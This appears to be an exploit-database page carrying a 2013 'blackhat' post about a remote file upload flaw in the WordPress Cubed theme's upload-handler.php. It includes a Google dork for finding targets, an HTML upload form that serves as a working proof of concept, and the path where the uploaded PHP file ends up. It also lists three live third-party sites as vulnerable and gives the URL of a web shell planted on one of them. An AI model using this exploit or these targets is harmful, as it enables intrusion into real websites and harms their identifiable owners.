Lucene search
K

WordPress Cubed Themes Remote File Upload Vulnerability

🗓️ 09 Nov 2013 00:00:00Reported by ByakuyaType 
zdt
 zdt
🔗 0day.today👁 45 Views

WordPress Cubed Themes Remote File Upload Vulnerability. Allows remote file upload through upload-handler.php in cubed theme functions, affecting versions v1.0 to v1.

Code
###################################################################################################
#_________            .___        _______                ___.   .__        
#\_   ___ \  ____   __| _/____    \      \   ______  _  _\_ |__ |__| ____  
#/    \  \/ /  _ \ / __ |/ __ \   /   |   \_/ __ \ \/ \/ /| __ \|  |/ __ \ 
#\     \___(  <_> ) /_/ \  ___/  /    |    \  ___/\     / | \_\ \  \  ___/ 
# \______  /\____/\____ |\___  > \____|__  /\___  >\/\_/  |___  /__|\___  >
#        \/            \/    \/          \/     \/            \/        \/ 
###################################################################################################
# Exploit Title: WordPress Cubed Themes Remote File Upload Vulnerability
# Author: Byakuya
# Date: 11/09/2013
# Vendor Homepage: http://themeprofessor.com/
# Themes Link: http://www.themeprofessor.com/themeforest-cubed-ultra-customizable-premium-wp-theme-237380/
# Price: Unknown
# Affected Version: v1.0 - v1.2
# Infected File: upload-handler.php
# Category: webapps/php
# Google dork: inurl:/wp-content/themes/cubed
# Tested on : Windows/Linux
###################################################################################################

# Exploit & POC :

<form enctype="multipart/form-data" 
action="http://127.0.0.1/wordpress/wp-content/themes/cubed/functions/upload-handler.php" method="post">
Please choose a file: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>

# File path: 
http://127.0.0.1/wordpress/wp-content/uploads/[year]/[month]/up.php

# Live Site:
-http://lebronjimenez.com/wp/wp-content/themes/cubed/functions/upload-handler.php
-http://www.carpetcleaningwigan.com/wp-content/themes/cubed/functions/upload-handler.php
-http://skilaker.com/wp-content/themes/cubed_v1.0/functions/upload-handler.php

a shell 
http://skilaker.com/wp-content/uploads/2013/11/htcv3.php4
# Credit: ./Byakuya ./Mr Ohsem ./Cai ./RatKid ./Agam ./Lord-Router ./X-Tuned ./MrN3wb1e ./Official Code-Newbie
# Facebook: https://www.facebook.com/CodeNewbieCrew
# Website: http://www.codenewbie.net
# Malaysia & Indonesia BlackHat
###################################################################################################

#  0day.today [2018-01-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation